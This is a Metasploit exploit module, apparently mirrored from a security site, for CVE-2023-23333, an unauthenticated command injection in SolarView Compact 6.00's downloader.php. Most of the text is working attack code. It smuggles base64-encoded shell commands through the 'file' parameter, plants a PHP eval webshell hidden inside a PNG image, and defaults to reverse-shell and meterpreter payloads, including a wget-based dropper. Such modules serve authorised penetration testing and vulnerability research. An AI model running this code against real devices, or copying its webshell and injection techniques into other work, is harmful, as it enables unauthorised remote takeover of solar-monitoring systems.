Authored by h00die-gr3y | Site metasploit.com

This Metasploit module exploits a command injection vulnerability on the SolarView Compact version 6.00 web application via the vulnerable endpoint downloader.php. After exploitation, an attacker will have full access with the same user privileges under which the webserver is running (typically as user contec).

advisories | CVE-2023-23333

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::PhpPayloadPng
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SolarView Compact unauthenticated remote command execution vulnerability.',
'Description' => %q{
CONTEC's SolarViewâ„¢ Series enables you to monitor and visualize solar power and is only available in Japan.
This module exploits a command injection vulnerability on the SolarView Compact `v6.00` web application
via vulnerable endpoint `downloader.php`.
After exploitation, an attacker will have full access with the same user privileges under
which the webserver is running (typically as user `contec`).
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF module contributor
],
'References' => [
['CVE', '2023-23333'],
['URL', 'https://attackerkb.com/topics/kE3lzTZGV2/cve-2023-23333']
],
'DisclosureDate' => '2023-05-15',
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_ARMLE, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'printf', 'echo', 'bourne'],
'Linemax' => 65535,
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'HttpClientTimeout' => 40 # set to 40 seconds because http response is pretty slow.
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The SolarView endpoint URL', '/' ]),
OptString.new('WEBSHELL', [
false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil
], conditions: %w[TARGET == 0])
])
end

def upload_webshell
# randomize file name if option WEBSHELL is not set
@webshell_name = if datastore['WEBSHELL'].blank?
"#{Rex::Text.rand_text_alpha(8..16)}.php"
else
datastore['WEBSHELL'].to_s
end

@post_param = Rex::Text.rand_text_alphanumeric(1..8)

# inject PHP payload into the PLTE chunk of a PNG image to hide the payload
php_payload = "<?php @eval(base64_decode($_POST['#{@post_param}']));?>"
png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE')
return nil if png_webshell.nil?

# encode webshell data and write to file on the target at the tmp directory for execution
# the tmp directory is writeable and a symbolic link to /tmp in a standard solarview installation
payload = Base64.strict_encode64(png_webshell.to_s)
cmd = "echo #{payload}|base64 -d >tmp/#{@webshell_name}"
return execute_command(cmd)
end

def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'tmp', @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
@post_param => payload
}
})
end

def execute_command(cmd, _opts = {})
# Encode payload with base64 to ensure proper execution
payload = Base64.strict_encode64(cmd)
cmd = "echo #{payload}|base64 -d|bash"
return send_request_cgi({
'method' => 'GET',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'downloader.php'),
'vars_get' => {
'file' => ";#{cmd};.zip"
}
})
end

def check
# Checking if the target is vulnerable by echoing a randomised marker that will return the marker in the response.
# next we will try to read the version file stored in /opt/svc/version
print_status("Checking if #{peer} can be exploited.")
marker = Rex::Text.rand_text_alphanumeric(8..16)
res = execute_command("echo #{marker};cat /opt/svc/version")
if res && res.code == 200 && res.body.include?(marker)
CheckCode::Vulnerable(res.body.match(/SolarView Compact ver.d.dd/).to_s)
else
CheckCode::Safe('No valid response received from the target.')
end
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :php
res = upload_webshell
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200
register_file_for_cleanup(@webshell_name.to_s)
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts['Linemax'] })
end
end
end